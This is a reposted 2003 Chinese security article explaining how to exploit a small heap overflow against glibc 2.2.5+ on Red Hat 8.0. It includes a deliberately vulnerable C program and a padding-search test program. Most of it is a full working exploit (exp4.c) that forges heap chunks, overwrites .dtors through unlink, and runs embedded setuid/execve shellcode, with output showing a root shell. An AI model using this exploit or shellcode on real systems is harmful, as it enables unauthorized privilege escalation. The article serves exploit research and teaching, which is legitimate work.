【分析】一种小堆(heap)溢出的另类利用方法

来源:互联网 发布:万网域名管理平台 编辑:程序博客网 时间:2024/04/29 17:39

一种小堆(heap)溢出的另类利用方法


创建时间:2003-09-18 更新时间:2003-09-18
文章属性:转载
文章来源:http://www.cnhonker.com/index.php?module=articles&act=view&type=6&id=76     bkbll(bkbll@cnhonker.net
文章提交:watercloud (watercloud_at_xfocus.org)

文摘出处:http://www.cnhonker.com/index.php?module=articles&act=view&type=6&id=76


一种小堆(heap)溢出的另类利用方法
bkbll(bkbll@cnhonker.net)
2003-9-1
[1]. 什么是堆溢出
    堆溢出(heap overflow) 类似stack overflow, 发生在BSS区. 关于heap overflow的文章外面有很多, 入门级别的w00w00的<w00w00 on Heap Overflows>, 这篇文章的中文版是由warning3 撰写, 文章地址是: http://www.w00w00.org/files/articles/heaptut-chinese.txt, 英文原版是: http://www.w00w00.org/files/articles/heaptut.txt, 其中还有warning3写的: <一种新的heap区溢出技术分析>, 文章在:
http://www.nsfocus.net/index.php?act=sec_self&;do=view&doc_id=529&keyword=heap
本篇假设你理解了这两篇文章的意义.
[2]. 本篇依赖的系统
本篇所有程序都在Rh linux 8.0 default install 平台上调试通过. 关于小堆的利用, 在glibc>=2.2.5的版本上才有意义, 在glibc 2.2.4(rh 7.2)上, 利用warning3的方法就完全可行, 所以本文假设你使用的平台glibc>=2.2.5. rh linux 8.0上的版本是glibc-2.2.93-5 .
[3]. 和glibc<=2.2.5的区别
    我们可以看看malloc的源代码. 低版本的分析可以参看warning3的文章, 高版本的源代码分析如下(int_free函数,因为函数比较长, 分解一下):
void _int_free(mstate av, Void_t* mem)
{
if (mem != 0) { //如果mem!=NULL
p = mem2chunk(mem);
size = chunksize(p);
check_inuse_chunk(av, p);
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) //这里,如果是小堆<64bytes
#if TRIM_FASTBINS
&& (chunk_at_offset(p, size) != av->top) //并且这个块的下一块不是top块
#endif
) {
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
p->fd = *fb;
*fb = p;
}
else if (!chunk_is_mmapped(p)) //如果这个块没有mmap位
{
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
assert(nextsize > 0);
/* consolidate backward */
if (!prev_inuse(p)) //如果当前块的size部分标志着前一块未使用
{
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd); //和前一块合并
}
if (nextchunk != av->top)
{
     /* get and clear inuse bit */
     nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
     //#define clear_inuse_bit_at_offset(p, s) (((mchunkptr)(((char*)(p)) + (s)))->size &= ~(PREV_INUSE))
     /* consolidate forward */
     if (!nextinuse) //如果下一个块没有使用, 则合并这个块
     {
     unlink(nextchunk, bck, fwd);
     size += nextsize;
     }
…………    
}
else //如果这个块后面紧挨着top块
{
………
}
/* 注意这里, 如果合并后的大小>0xffff的话) */
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)
{
if (have_fastchunks(av))
malloc_consolidate(av);
…….
}
}
else { //如果是mmap的
………….
    }
}
}
总结一下, 不同的地方有:
1.    当free的堆大小<64字节的时候, 会利用一种快速处理方法来处理.
2.    当合并后的size 大于0xffff的时候, 还有另外一个过程 , 这个过程如果你用伪造的chunk去处理的话, 很难保证不出错, 所以合并后的size要小于0xffff.
3.    块的大小必须要是8的倍数.
1和2 的比较过程都是用(unsigned long)类型比较, 所以在这里, 负数可以逃避1的规则限制, 而2里面就不行了, 如果size是一个负数, 会判断失败, 这样会跳转到一个复杂的计算过程, 所以在这里size一定不能是负数.
[4]. 一个有漏洞的程序:
/* just for fun */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc,char **argv)
{
    char *p1;
    char *p2;
    
    if(argc<2)
    {
        printf("Usage:%s <string>/n",argv[0]);
        exit(0);    
    }
    if(strlen(argv[1])>40-1)
    {
        printf("ERROR:too long/n");
        exit(0);
    }
    p1=(char *)malloc(20);
    p2=(char *)malloc(40);
    memset(p1,0,20);
    memset(p2,0,40);
    strcpy(p2,argv[1]);
    strcpy(p1,p2);
    printf("[+] input:%s/n",p1);
    memset(p2,0,40);
    free(p1);
    free(p2);
    exit(0);
}
[5]. 利用方法思考
    初看起来和以前的heap overflow利用方法一样, 伪造chunk2和chunk3就可以写出exp的, 但因为第一个块是小块, 所以利用方法又有所不一样.
    从内存结构来看, 我们可以覆盖的有: p2的prev_size和p2的size两个地方. 恰好这两个地方是控制p2的前一个块和后一个块的关键数据, 所以基本上我们可以伪造出前一个块和后一个块, 只要控制好inuse位, 我们就可以利用unlik操作写任意四个字节的数据到任意地方.
    这里需要注意的是size必须要是一个正数, 而且这个数值必须小与0xffff. 这里我们有两种选择(为了描述方便, 我们把p2前一个块称做p1,后面的一个块称做p3, p3的下一块称作p4)
1.    利用伪造的p1,进行unlink操作. 只需要让p2的prev_inuse位清零
2.    利用伪造p3进行unlink操作, 因为后面有判断p3是否使用, 所以还需要伪造p4.
如果是要利用伪造p3进行unlink操作的话, 因为要考虑到size>0, 这里要考虑两种情况(利用strcpy,所以数据里面不能有0x00):
1.    p2的size>0 因为p2本身缘故, 这个里面可以含有0x00. 这样p3就只能在p2后面了, 但看程序里面,p2后面的数据基本上全为0 , p3的fd和bk数据无法填充.所以不大可能.
2.    p2的size<0 这样要求p3的size>0而且0xffff>(p3->size+p2->size)>0. 并且通过p3->size伪造的p4要满足我们的要求, 最重要的是p3->size四个字节的内存块里面不能有0x00.好像在内存中还找不出这样的一个位置来放我们的p3,如果你有更合适的办法, 请和交流.
从上面的分析可以看出, 利用伪造的p3块进行unlink操作难度系数太大了. 我们看看利用伪造的p1可不可行.
因为p1的地址是这样计算的:p1 addr=p2 addr – p2->prev_size, 而p2后面的内存基本上全为0 ,所以这里的prev_size必须要为一个正数, 但是又因为我们要覆盖到p2的size,所以prev_size内存块不能有0x00数据, 这里的p2->prev_size就只能是一个非常大的正数. 初看上去是不可行的, 但联想到我们的堆栈数据是0xbffff开头的, 如果将这个地址看成是一个有符号的数话,恰好是一个负数, 从前面的源代码上分析可以看出,size的加法全是有符号的操作, 所以我们可不可以将p1结构放到我们的堆栈里面呢? 这样我们可以通过这个非常大的正数将P1放到堆栈里面.
P1确定好了, 为了保证0xffff>(p2->size+p1->size)>0, 而且又要求我们可以控制p3, 我们又需要精心构造一个p2->size,而且这个数据还需要设置p1的non-use位. 看上去是不是不可能的? 让我们看一看一个精彩的数学变换.
假设我们p2地址是p2addr,p1地址是p1addr,p1的大小是p1size,p2的大小是p2size,p3的地址是p3addr, p1size+p2size=offset,这个offset符合大于0和小于0xffff的规定.
那么这里有几个等式:


p2addr-p1size=p1addr    ------------①
p2addr+p2size=p3addr    ------------②
p1size+p2size=offset    ------------③


②-①得:
p2size+p1size=p3addr-p1addr
代入③得:
offset=p3addr-p1addr,也即:
p3addr=p1addr+offset.
我们的p1放在堆栈, 只要我们加上一点点的offset就可以得到我们的p3, 那么p4也可以顺利伪造出来了.
现在摆在面前的问题就只有一个: p3addr-p2addr也就是p2size必须要设置non-map和non-use位. 而且p2size要为8的倍数, 这样看来, p2size最后一个数据必须为8.
这个时候又有一个问题出来了, 我们该怎么构造这些数据以确保p3的结构里面符合要求而p3的地址和p2地址之差最后一位要为8? 这个数据该如何被确保存在?
经过思考, 我们可以想像出我们的p1和p3数据是这样的:


|AAAA|AAAA| FD | BK |AAA.AAAAA|AAAA| P3SIZE|….
  p1                               p3


因为我们不用关心p1的prev_size以及p1的size, 而我们只需要关心p4的size的inuse是否为0, 这样,我们将p3->size设置成0xfffffff8(-8), 这样p4=p3+p3->size=p3-8, 这样只要保证*(char *)(p3-1)的数据最后一位为1就可以了. 填充的A就可以满足要求. 在P1和P3的数据后面我们可以跟上我们的shellcode,这样构造后的数据应该是这样的:


| 被替换的地址 |  替换的地址 | xxxxxxxxxxxA|AAAA| -8 | shellcode |
p1+8        p1+12                         p3


我们回到刚才的问题, 怎么保证p3的地址满足要求.
我们可以这样考虑, 内存中存放多次的xxxA|AAAA| -8 | 这样的结构, 其中XXXA|AAAA长度我们需要验算一下. 我们的目标是, 经过有限次的16位数据循环, 我们总可以找到符合要求的xxxxA|AAAA|-8|这样满足要求的结构. 我们写个小程序验算一下:
[netconf@linux1 challenge]$ cat test1.c


/* test for 32 bits value */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SIZE 200
#define PAD 5
#define FG 'A'
#define ADDR 0xfffffff8

void foo(int offset,char *buffer)
{
       int i,found=0;

       for(i=offset;i<strlen(buffer);i+=16)
       {
               if((buffer[i]==FG) && (buffer[i+1]==FG) && (buffer[i+2]==FG) && (buffer[i+3]==FG) && (*(unsigned int *)(buffer+i+4)==ADDR))
               {
                       printf("[+] found.i:%3d,cont:%c%c%c%c ADDR:%p/n",i,buffer[i],buffer[i+1],buffer[i+2],buffer[i+3],*(unsigned int *)(buffer+i+4));
                       found=1;
                       continue;
               }
       }
       if(found==0)    printf("[-] not found/n");
}

main(int argc,char **argv)
{
       char buffer[SIZE];
       int i,j;
       int pd=PAD;

       if(argc>1) pd=atoi(argv[1]);
       memset(buffer,0,SIZE);
       for(i=0;i<SIZE-1;i+=pd+4)
       {
               memset(buffer+i,FG,pd);
               *(unsigned int *)(buffer+i+pd)=ADDR;
       }
       printf("[+] PAD=%d/n/n",pd);
       for(j=0;j<pd;j++)
       {
               printf("[+] Offset:%d/n",j);
               foo(j,buffer);
       }
}


[netconf@linux1 challenge]$
我们分别验算一下从1-9符合要求的PAD是多少:


[netconf@linux1 challenge]$ gcc -o test1 test1.c
[netconf@linux1 challenge]$ ./test1 1
[+] PAD=1

[+] Offset:0
[-] not found
[netconf@linux1 challenge]$ ./test1 2
[+] PAD=2

[+] Offset:0
[-] not found
[+] Offset:1
[-] not found
[netconf@linux1 challenge]$ ./test1 3
[+] PAD=3

[+] Offset:0
[-] not found
[+] Offset:1
[-] not found
[+] Offset:2
[-] not found
[netconf@linux1 challenge]$ ./test1 4
[+] PAD=4

[+] Offset:0
[+] found.i:  0,cont:AAAA ADDR:0xfffffff8
[+] found.i: 16,cont:AAAA ADDR:0xfffffff8
[+] found.i: 32,cont:AAAA ADDR:0xfffffff8
[+] found.i: 48,cont:AAAA ADDR:0xfffffff8
[+] found.i: 64,cont:AAAA ADDR:0xfffffff8
[+] found.i: 80,cont:AAAA ADDR:0xfffffff8
[+] found.i: 96,cont:AAAA ADDR:0xfffffff8
[+] found.i:112,cont:AAAA ADDR:0xfffffff8
[+] found.i:128,cont:AAAA ADDR:0xfffffff8
[+] found.i:144,cont:AAAA ADDR:0xfffffff8
[+] found.i:160,cont:AAAA ADDR:0xfffffff8
[+] found.i:176,cont:AAAA ADDR:0xfffffff8
[+] found.i:192,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[-] not found
[+] Offset:2
[-] not found
[+] Offset:3
[-] not found
[netconf@linux1 challenge]$ ./test1 5
[+] PAD=5

[+] Offset:0
[+] found.i: 64,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[+] found.i:  1,cont:AAAA ADDR:0xfffffff8
[+] found.i:145,cont:AAAA ADDR:0xfffffff8
[+] Offset:2
[+] found.i: 82,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[+] found.i: 19,cont:AAAA ADDR:0xfffffff8
[+] found.i:163,cont:AAAA ADDR:0xfffffff8
[+] Offset:4
[+] found.i:100,cont:AAAA ADDR:0xfffffff8
[netconf@linux1 challenge]$ ./test1 6
[+] PAD=6

[+] Offset:0
[+] found.i: 32,cont:AAAA ADDR:0xfffffff8
[+] found.i:112,cont:AAAA ADDR:0xfffffff8
[+] found.i:192,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[-] not found
[+] Offset:2
[+] found.i:  2,cont:AAAA ADDR:0xfffffff8
[+] found.i: 82,cont:AAAA ADDR:0xfffffff8
[+] found.i:162,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[-] not found
[+] Offset:4
[+] found.i: 52,cont:AAAA ADDR:0xfffffff8
[+] found.i:132,cont:AAAA ADDR:0xfffffff8
[+] Offset:5
[-] not found
[netconf@linux1 challenge]$ ./test1 7
[+] PAD=7

[+] Offset:0
[+] found.i: 80,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[+] found.i:113,cont:AAAA ADDR:0xfffffff8
[+] Offset:2
[+] found.i:146,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[+] found.i:  3,cont:AAAA ADDR:0xfffffff8
[+] found.i:179,cont:AAAA ADDR:0xfffffff8
[+] Offset:4
[+] found.i: 36,cont:AAAA ADDR:0xfffffff8
[+] Offset:5
[+] found.i: 69,cont:AAAA ADDR:0xfffffff8
[+] Offset:6
[+] found.i:102,cont:AAAA ADDR:0xfffffff8
[netconf@linux1 challenge]$ ./test1 8
[+] PAD=8

[+] Offset:0
[+] found.i: 16,cont:AAAA ADDR:0xfffffff8
[+] found.i: 64,cont:AAAA ADDR:0xfffffff8
[+] found.i:112,cont:AAAA ADDR:0xfffffff8
[+] found.i:160,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[-] not found
[+] Offset:2
[-] not found
[+] Offset:3
[-] not found
[+] Offset:4
[+] found.i:  4,cont:AAAA ADDR:0xfffffff8
[+] found.i: 52,cont:AAAA ADDR:0xfffffff8
[+] found.i:100,cont:AAAA ADDR:0xfffffff8
[+] found.i:148,cont:AAAA ADDR:0xfffffff8
[+] found.i:196,cont:AAAA ADDR:0xfffffff8
[+] Offset:5
[-] not found
[+] Offset:6
[-] not found
[+] Offset:7
[-] not found
[netconf@linux1 challenge]$ ./test1 9
[+] PAD=9

[+] Offset:0
[+] found.i: 96,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[+] found.i:161,cont:AAAA ADDR:0xfffffff8
[+] Offset:2
[+] found.i: 18,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[+] found.i: 83,cont:AAAA ADDR:0xfffffff8
[+] Offset:4
[+] found.i:148,cont:AAAA ADDR:0xfffffff8
[+] Offset:5
[+] found.i:  5,cont:AAAA ADDR:0xfffffff8
[+] Offset:6
[+] found.i: 70,cont:AAAA ADDR:0xfffffff8
[+] Offset:7
[+] found.i:135,cont:AAAA ADDR:0xfffffff8
[+] Offset:8
[+] found.i:200,cont:AAAA ADDR:0xfffffff8
[netconf@linux1 challenge]$


从上面的计算可以看出, 无论buffer开始地址多少, 当PAD为5,7,9的时候, 经过有限次列举总可以找到这样一个满足条件的位置. 我们取最小的数据5来构造我们的p3.
[6]. 我们的exp
这样我们就可以写出exploit了:
[netconf@linux1 challenge]$ cat exp4.c


/* exp4 */
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define SIZE 20
#define FILL 200                    /* 我们准备填充多少个p3结构来满足要求 */
#define PAD 5                      
#define want_write_to_addr 0x080496dc+4-3*4 /*.dtors地址*/
#define P2ADDR       0x08049738             /* p2的地址(chunk地址) */
#define shell_addr   0xbfffffa7             /* shellcode地址 */
#define P3ADDR       0xbfffff60             /* p2->next的地址*/
#define P1ADDR       (unsigned long)(shell_addr-(FILL/(PAD+4))*(PAD+4)-0x08+1)    /* p2->prev chunk的地址*/
#define VULN        "./vul2"

char shellcode[] =
"/xeb/x0b/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/x31/xdb/x89/xd8/xb0/x17/xcd/x80"
"/x31/xc0/x50/x50/xb0/xb5/xcd/x80"
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";


main(int argc,char *argv[])
{
    int i,size=SIZE,size2,length;
    char *env[2],envbuf[400],buffer[100];
    unsigned long p1size,p2size,p1addr;
    
    memset(buffer,0,100);
    if(argc>1) size=atoi(argv[1]);
    length=(int)(size+4)/8;
       if(length*8 == (size+4))length--;
    length*=8;
    
    for(i=0;i<length;i++)
        buffer[i]='A';
    size2=P3ADDR-P1ADDR;
    p1size=size2-(P3ADDR-P2ADDR);
    p2size=P3ADDR-P2ADDR;
    printf("p2size+p1size:%p+%p=%#x/n",p2size,p1size,p2size+p1size);
    printf("p1addr:%p,p2addr:%p,p3addr=%p/n",P1ADDR,P2ADDR,P3ADDR);
    *(unsigned long *)(buffer+i)=p1size;
    i+=4;
    *(unsigned long *)(buffer+i)=p2size;
    i+=4;

    memset(envbuf,0,400);
    strcpy(envbuf,"STR=");
    i=strlen(envbuf);
    //构造p1和p3
     *(unsigned long *)(envbuf+i)=want_write_to_addr;
     *(unsigned long *)(envbuf+i+4)=shell_addr;
     i+=8;
     for(i;i<200;i+=9)
     {
         memset(envbuf+i,'A',PAD);
         *(unsigned long *)(envbuf+i+PAD)=0xfffffff8;
     }
     memcpy(envbuf+i,shellcode,strlen(shellcode));
    
    env[0]=envbuf;
    env[1]=NULL;
    execle(VULN,VULN,buffer,NULL,env);
    
}


试一下:
[netconf@linux1 challenge]$ ./exp4
p2size+p1size:0xb7fb6828+0x4804985e=0x86
p1addr:0xbffffeda,p2addr:0x8049738,p3addr=0xbfffff60
[+] input:AAAAAAAAAAAAAAAA^楬(h
sh-2.05b# id
uid=0(root) gid=500(netconf) groups=500(netconf)
sh-2.05b#
[7]. 参考文章:
1. warning3: <一种新的heap区溢出技术分析>
原创粉丝点击